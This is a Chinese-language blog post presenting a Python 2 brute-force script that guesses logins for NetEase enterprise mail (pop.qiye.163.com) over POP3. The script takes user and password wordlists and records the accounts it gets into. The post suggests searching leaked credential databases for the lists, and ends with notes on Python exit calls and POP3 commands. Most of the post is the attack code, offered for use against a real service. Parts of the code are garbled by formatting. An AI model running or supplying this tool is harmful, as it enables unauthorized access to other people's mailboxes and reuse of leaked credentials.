按照師傅給的任務(wù),寫了一個(gè)企業(yè)郵箱的爆破腳本,后續(xù)還有FTP,SSH等一些爆破的腳本。
我先說下整體思路:
總體就是利用python的poplib模塊來從pop3服務(wù)器上交互,根據(jù)獲取的相關(guān)信息,產(chǎn)生結(jié)果。POP3協(xié)議并不復(fù)雜,它也是采用的一問一答式的方式,你向服務(wù)器發(fā)送一個(gè)命令,服務(wù)器必然會(huì)回復(fù)一個(gè)信息.
1.首先驗(yàn)證參數(shù)是否正確
Sys.argv[]是用來獲取命令行參數(shù)的,sys.argv[0]表示代碼本身文件路徑,所以參數(shù)從1開始
2.然后從用戶密碼文件中讀取信息
3.pop.getwelcome()用來獲取連接服務(wù)器的響應(yīng)狀態(tài)
4.然后就是腳本的核心代碼部分
1
2
3
4
5
6
|
server = "pop.qiye.163.com" / / 設(shè)置pop3服務(wù)器地址 pop = poplib.POP3(server, 110 ) / / 連接pop3服務(wù)器 pop.user(user) / / 驗(yàn)證用戶名 auth = pop.pass_(passwd) / / 驗(yàn)證密碼 if auth.split( ' ' )[ 0 ] = = "+OK" : / / 判斷響應(yīng)的結(jié)果是否“OK” pring user,passwd |
5.最后輸出出來相關(guān)的用戶信息
腳本代碼如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len (sys.argv) ! = 3 : print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit( 1 ) server = "pop.qiye.163.com" success = [] try : users = open (sys.argv[ 1 ], "r" ).readlines() except (IOError): print "[-] Error: urerlist打開失敗!\n" sys.exit( 1 ) try : words = open (sys.argv[ 2 ], "r" ).readlines() except (IOError): print "[-] Error: passlist打開失敗!\n" sys.exit( 1 ) try : pop = poplib.POP3(server, 110 ) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len (listuser) < 1 or len (listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace( "\n" ,"") value = value.replace( "\n" ,"") try : print "-" * 12 print "[+] User:" ,user, "Password:" ,value time.sleep( 1 ) pop = poplib.POP3(server, 110 ) pop.user(user) auth = pop.pass_(value) print auth if auth.split( ' ' )[ 0 ]! = "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[ 1 ] is None or pop.stat()[ 1 ] < 1 : pop.quit() print "獲取信息失敗!" continue ret = (user,value,pop.stat()[ 0 ],pop.stat()[ 1 ]) success.append(ret) pop.quit() break except : #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:" ,server print "[+] Port: 995" print "[+] Users Loaded:" , len (users) print "[+] Words Loaded:" , len (words) print "[+] Server response:" ,welcome, "\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t" , len (success) if len (success) > = 1 : for ret in success: print "\n\n[+] Login successful:" ,ret[ 0 ], ret[ 1 ] print "\t[+] Mail:" ,ret[ 2 ], "emails" print "\t[+] Size:" ,ret[ 3 ], "bytes\n" print "\n[-] Done" |
測試結(jié)果:
說明:
用戶字典文件需要@domain.com,類似[email protected]、[email protected]、[email protected]這樣的。由于我也沒有企業(yè)郵箱的賬號(hào)密碼,也就沒測試成功的,要是感興趣,可以搜一下相關(guān)社工褲。
附:
python 中 os._exit(), sys.exit(), exit() 的區(qū)別是什么?
- sys.exit(n) 退出程序引發(fā)一個(gè)SystemExit異常, 可以捕獲異常執(zhí)行些清理工作. n默認(rèn)值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個(gè)異常,會(huì)直接退出;捕獲這個(gè)異常可以做一些額外的清理工作。 一般主程序中使用此退出
- os._exit(n), 直接退出 Python 解釋器,其后的代碼都不執(zhí)行, 不拋異常, 不執(zhí)行相關(guān)清理工作. 常用在子進(jìn)程的退出.
- exit() 跟 C 語言等其他語言的 exit() 應(yīng)該是一樣的
pop3收取郵件的過程一般是:
- 連接pop3服務(wù)器 (poplib.POP3.__init__)
- 發(fā)送用戶名和密碼進(jìn)行驗(yàn)證 (poplib.POP3.user poplib.POP3.pass_)
- 獲取郵箱中信件信息 (poplib.POP3.stat)
- 收取郵件 (poplib.POP3.retr)
- 刪除郵件 (poplib.POP3.dele)
- 退出 (poplib.POP3.quit)
命令 poplib方法 參數(shù) 狀態(tài) 描述
-----------------------------------------------------------------------------------------------
USER user username 認(rèn)可 用戶名,此命令與下面的pass命令若成功,將導(dǎo)致狀態(tài)轉(zhuǎn)換
PASS pass_ password 認(rèn)可 用戶密碼
APOP apop Name,Digest 認(rèn)可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 處理 請(qǐng)求服務(wù)器發(fā)回關(guān)于郵箱的統(tǒng)計(jì)資料,如郵件總數(shù)和總字節(jié)數(shù)
UIDL uidl [Msg#] 處理 返回郵件的唯一標(biāo)識(shí)符,POP3會(huì)話的每個(gè)標(biāo)識(shí)符都將是唯一的
LIST list [Msg#] 處理 返回郵件數(shù)量和每個(gè)郵件的大小
RETR retr [Msg#] 處理 返回由參數(shù)標(biāo)識(shí)的郵件的全部文本
DELE dele [Msg#] 處理 服務(wù)器將由參數(shù)標(biāo)識(shí)的郵件標(biāo)記為刪除,由quit命令執(zhí)行
RSET rset None 處理 服務(wù)器將重置所有標(biāo)記為刪除的郵件,用于撤消DELE命令
TOP top [Msg#] 處理 服務(wù)器將返回由參數(shù)標(biāo)識(shí)的郵件前n行內(nèi)容,n必須是正整數(shù)
NOOP noop None 處理 服務(wù)器返回一個(gè)肯定的響應(yīng)